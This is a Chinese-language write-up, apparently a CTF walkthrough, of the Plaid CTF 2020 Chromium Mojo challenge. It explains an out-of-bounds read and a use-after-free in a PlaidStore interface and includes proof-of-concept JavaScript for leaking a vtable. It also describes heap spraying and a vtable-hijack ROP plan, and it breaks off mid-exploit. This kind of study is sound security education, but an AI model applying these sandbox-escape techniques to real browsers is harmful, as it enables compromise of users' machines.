Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services
本文主要参考 Plaid CTF 2020 mojo Writeup
给了 docker
环境,所以直接启 docker
即可。
安装 docker
:
sudo snap install docker
运行 run.sh
脚本:
./run.sh
运行 chrome
:
./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url
这里单独启一个 web
服务:
python3 -m http.server 8000
调试脚本:
# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent
然后 gdb
调试即可:
gdb -x gdbinit
题目新定义了一个 PlaidStore
接口:
module blink.mojom;
// This interface provides a data store
interface PlaidStore {
// Stores data in the data store
StoreData(string key, array<uint8> data);
// Gets data from the data store
GetData(string key, uint32 count) => (array<uint8> data);
};
该接口定义了两个方法 StoreData
、GetData
分别用于向 data store
中存储数据和获取数据。
然后在浏览器端实现 PlaidStore
接口:
namespace content {
class RenderFrameHost;
class PlaidStoreImpl : public blink::mojom::PlaidStore {
public:
explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);
static void Create(
RenderFrameHost* render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
~PlaidStoreImpl() override;
// PlaidStore overrides:
void StoreData(
const std::string &key,
const std::vector<uint8_t> &data) override;
void GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) override;
private:
RenderFrameHost* render_frame_host_;
std::map<std::string, std::vector<uint8_t> > data_store_;
};
}
可以看到这里存在两个私有变量其中一个是 data_store_
,这个好理解,其就是用来存储数据的;这里的 render_frame_host_
是神马东西呢?
render
进程中的每一个 frame
都在 browser
进程中对应一个 RenderFrameHost
,很多由浏览器提供的 mojo
接口就是通过 RenderFrameHoset
获取的。在 RenderFrameHost
初始化阶段,会在 BinderMap
中填充所有公开的 mojo
接口:
@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,
map->Add<blink::mojom::SerialService>(base::BindRepeating(
&RenderFrameHostImpl::BindSerialService, base::Unretained(host)));
#endif // !defined(OS_ANDROID)
+
+ map->Add<blink::mojom::PlaidStore>(
+ base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+ base::Unretained(host)));
}
当一个 render frame
请求该接口时,在 BinderMap
中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore
就会被调用,其定义如下:
void RenderFrameHostImpl::CreatePlaidStore(
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
PlaidStoreImpl::Create(this, std::move(receiver));
}
其直接调用了 PlaidStoreImpl::Create
函数:
// static
void PlaidStoreImpl::Create(
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl
就被创建,并且该 PendingReceiver
与一个 SelfOwnedReceiver
绑定。
该题存在两个漏洞,分别是 OOB
与 UAF
,接下来直接分别讲解。
来分析下存取数据的操作:
void PlaidStoreImpl::StoreData(
const std::string &key,
const std::vector<uint8_t> &data) {
if (!render_frame_host_->IsRenderFrameLive()) {
return;
}
data_store_[key] = data;
}
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) {
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
std::move(callback).Run(result);
}
可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive
去检查 render frame
是否处于 live
状态。然后 StoreData
没啥问题,主要在于 GetData
函数没有对 count
字段做检查,所以这里可以导致越界读。
这里主要涉及到对象指针生命周期的问题。
在上面我们说过当一个 render frame
请求该接口时,在 BinderMap
中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore
就会被调用,其最后会调用到 PlaidStoreImpl::Create
函数:
void PlaidStoreImpl::Create(
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
std::move(receiver));
}
通过该函数,一个 PlaidStoreImpl
就被创建,并且该 PendingReceiver
与一个 SelfOwnedReceiver
绑定,也就是说这里会将消息管道的一段 receiver
与 PlaidStoreImpl
绑定,而这里传入的 render_frame_host
是一个 PlaidStoreImpl
类型的智能指针。
由于这里的绑定,所以当 mojo
管道关闭或发生错误时,PlaidStoreImpl
就会被自动释放,从而使得 PlaidStoreImpl
与 receiver
的生命周期保持一致,这其实是不存在问题的。
而在 PlaidStoreImpl
的构造函数中,存在对 render_frame_host
的赋值操作:
PlaidStoreImpl::PlaidStoreImpl(
RenderFrameHost *render_frame_host)
: render_frame_host_(render_frame_host) {}
可以看到在 PlaidStoreImpl
的构造函数中,将 render_frame_host
赋给了其私有属性 render_frame_host_
。那么问题就来了,如果 render_frame_host
对象被析构了(比如删除 iframe
),但是 PlaidStoreImpl
还存在(因为 render_frame_host
并没有与 PlaidStoreImpl
绑定),那么在 StoreData/GetData
中调用 render_frame_host_->IsRenderFrameLive()
就会存在 UAF
漏洞。
整体是思路就比较明确了:
OOB
泄漏相关数据UAF
劫持程序执行流前期准备
调用 MojoJS
接口时,请包含以下 JS
文件(这里请根据具体题目路径进行包含):
<script src="mojo/public/js/mojo_bindings.js">script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js">script>
然后进行管道端点绑定:
// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);
调试分析
OOB 泄漏数据
首先是测试 OOB
,主要是看下能够泄漏什么数据:
<html>
<script src="mojo/public/js/mojo_bindings.js">script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js">script>
<script>
function hexx(str, v) {
console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));
}
async function pwn() {
console.log("PWN");
//var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???
var ps = new blink.mojom.PlaidStorePtr();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
mojo.makeRequest(ps).handle,
"context", true);
await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));
var leak_data = (await(ps.getData("pwn", 0x20))).data;
var u8 = new Uint8Array(leak_data);
var u64 = new BigInt64Array(u8.buffer);
}
pwn();
script>
html>
将断点打在 PlaidStoreImpl::Create
函数上,主要就是看下 PlaidStoreImpl
申请的空间:
可以看到这里 PlaidStoreImpl
的空间大小为 0x28
,其成员依次往下为 vtable
、render_frame_host
、data_store_
:
当 StoreData
执行完后:
可以看到,这里 PlaidStoreImpl
、data_store_
、data_vector
位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImpl
的 vtable
地址,并且还可以泄漏 render_frame_host_
的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable
的地址确定 ELF
加载基地址:
泄漏了 ELF
基地址后,就可以得到很多有用的 gadget
了。
UAF 劫持程序执行流
有了 gadget
后,接下来就是考虑如何劫持 rip
,这里的想法就是劫持虚表指针从而劫持程序执行流。
我们知道,每次调用 StoreData/GetData
时,都会先调用 render_frame_host_->IsRenderFrameLive
,其是通过虚表指针进行调用的:
可以看到这里的 rax
就是 render_frame_host_
的虚表地址,然后 [rax + 0x160]
就是 IsRenderFrameLive
函数的地址。
可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160]
时,rax
确实是 render_frame_host_
的虚表地址:
那么整个思路就比较清晰了:
render_frame_host_ UAF
UAF
堆块并伪造 render_frame_host_
虚表render_frame_host_->IsRenderFrameLive
控制程序执行流这里 rax
寄存器的值就是 render_frame_host_
的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_
对象的头 8 字节处),而在 OOB
中我们又可以顺带泄漏 render_frame_host_
的地址(其就在 PlaidStoreImpl
虚表的下方),所以我们可以利用 xchg rax, rsp
等 gadget
劫持栈到 render_frame_host_
上,并提前在 render_frame_host_
上布置好 rop chain
即可。
在布局
gadget
前还有一个问题:我们该如何在释放render_frame_host_
所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome
中的内存管理使用的是TCMalloc
机制。又因为StoreData
函数分配的vector
与render_frame_host_
使用的是同一个分配器,只要大量分配大小与RenderFrameHostImpl
相等的vector
,就有可能占位成功。
TCMalloc(Thread-Caching Malloc)
实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 TCMalloc解密
所以我们现在得需要知道 RenderFrameHostImpl
的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl
上:
可以看到,在执行构造函数前执行了 RenderFrameFactory::Create
函数,所以其多半就是为 RenderFrameHostImpl
分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create
上:
所以这里多半就可以确认 RenderFrameHostImpl
的大小为 0xc28
。
这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe
并建立一个 PlaidStoreImpl
实例后。如果我们关闭这个 child iframe
,则对应的RenderFrameHost
将会自动关闭;但与此同时,child iframe
所对应的 PlaidStoreImpl
与 browser
建立的 mojo
管道将会被断开。而该管道一但断开,则 PlaidStoreImpl
实例将会被析构。
因此,我们需要在关闭 child iframe
之前,将管道的 remote
端移交给 parent iframe
,使得 child iframe
的 PlaidStoreImpl
实例在 iframe
关闭后仍然存活。
回想一下,正常情况下,当关闭一个
iframe
时,RenderFrameHost
将会被析构、mojo
管道将会被关闭。此时Mojo
管道的关闭一定会带动PlaidStoreImpl
的析构,这样就可以析构掉所有该析构的对象。
但这里却没有,因为在关闭child iframe
前,已经将该iframe
所持有的Mojo
管道Remote
端移交出去了,因此在关闭child iframe
时将不会关闭Mojo
管道。而PlaidStoreImpl
的生命周期并没有与RenderFrameHost
相关联。即RenderFrameHost
的析构完全不影响PlaidStoreImpl
实例的生命周期。所以,PlaidStoreImpl
实例将不会被析构。
那么,问题是,该如何移交 Mojo
管道的 remote
端呢?答案是:使用 MojoInterfaceInterceptor
。该功能可以拦截来自同一进程中其他 iframe
的 Mojo.bindInterface
调用。在 child iframe
被销毁前,我们可以利用该功能将mojo
管道的一端传递给 parent iframe
。
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor
的具体使用方式:
var kPwnInterfaceName = "pwn";
// runs in the child frame
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent frame
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
// runs in the parent frame
function getFreedPtr() {
return new Promise(function (resolve, reject) {
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
interceptor.stop();
// bind and return the remote
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
freeRFH(frame);
resolve(provider_ptr);
}
interceptor.start();
});
}
现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:
child iframe
中 Mojo
管道的 remote
端移交至 parent iframe
,使得 Mojo
管道仍然保持连接child iframe
RenderFrameHostImpl
的内存区域child iframe
对应的 PlaidStoreImpl::GetData
函数不过需要注意的是,在该题中并不需要将
child iframe
的Mojo
管道一端传递给parent iframe
的操作。因为通过调试可知,child iframe
在remove
后,其所对应的PlaidStoreImpl
实例仍然存在,并没有随着Mojo pipe
的关闭而被析构
尚未明确具体原因,但这种情况却简化了漏洞利用的方式
最后简化后的利用方式如下:
child iframe
RenderFrameHostImpl
的内存区域child iframe
对应的 PlaidStoreImpl::GetData
函数简单测试一下:
<html>
<head>
<script src="mojo/public/js/mojo_bindings.js">script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js">script>
<script>
async function pwn() {
var frame = document.createElement("iframe");
frame.srcdoc = `